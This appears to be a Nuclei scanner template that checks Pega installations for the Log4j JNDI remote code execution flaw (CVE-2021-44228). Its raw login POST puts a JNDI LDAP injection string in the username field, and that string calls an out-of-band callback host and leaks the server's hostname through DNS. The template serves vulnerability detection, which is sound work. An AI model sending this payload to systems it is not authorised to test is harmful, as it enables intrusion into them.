63 lines
2.2 KiB
YAML
63 lines
2.2 KiB
YAML
|
id: pega-log4j-rce
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Pega - Remote Code Execution (Apache Log4j)
|
||
|
|
author: shaikhyaser, yaser_s
|
||
|
|
severity: critical
|
||
|
|
description: |
|
||
|
|
Pega is susceptible to Log4j JNDI remote code execution. Pega provides a powerful low-code platform that empowers the world's leading enterprises to Build for Change.
|
||
|
|
reference:
|
||
|
|
- https://docs.pega.com/security-advisory/security-advisory-apache-log4j-zero-day-vulnerability
|
||
|
|
classification:
|
||
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||
|
|
cvss-score: 10
|
||
|
|
cve-id: CVE-2021-44228
|
||
|
|
cwe-id: CWE-77
|
||
|
|
metadata:
|
||
|
|
verified: true
|
||
|
|
max-request: 1
|
||
|
|
tags: cve,cve2021,rce,jndi,log4j,pega,oast,kev
|
||
|
|
variables:
|
||
|
|
rand1: '{{rand_int(111, 999)}}'
|
||
|
|
rand2: '{{rand_int(111, 999)}}'
|
||
|
|
|
||
|
|
http:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
POST /prweb/app/default/_56mEsR4RqBouCrZGfkkFF8v406BUOZt/!STANDARD HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Origin: {{RootURL}}
|
||
|
|
Referer: {{RootURL}}/prweb/app/default/_56mEsR4RqBouCrZGfkkFF8v406BUOZt*/!STANDARD
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
Connection: close
|
||
|
|
|
||
|
|
pzAuth=guest&UserIdentifier=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&Password=a&pyActivity%3DCode-Security.Login=&lockScreenID=&lockScreenPassword=&newPassword=&confirmNewPassword=
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
||
|
|
words:
|
||
|
|
- "dns"
|
||
|
|
|
||
|
|
- type: regex
|
||
|
|
part: interactsh_request
|
||
|
|
regex:
|
||
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
|
||
|
|
|
||
|
|
extractors:
|
||
|
|
- type: kval
|
||
|
|
kval:
|
||
|
|
- interactsh_ip # Print remote interaction IP in output
|
||
|
|
|
||
|
|
- type: regex
|
||
|
|
group: 2
|
||
|
|
regex:
|
||
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
|
||
|
|
part: interactsh_request
|
||
|
|
|
||
|
|
- type: regex
|
||
|
|
group: 1
|
||
|
|
regex:
|
||
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
|
||
|
|
part: interactsh_request
|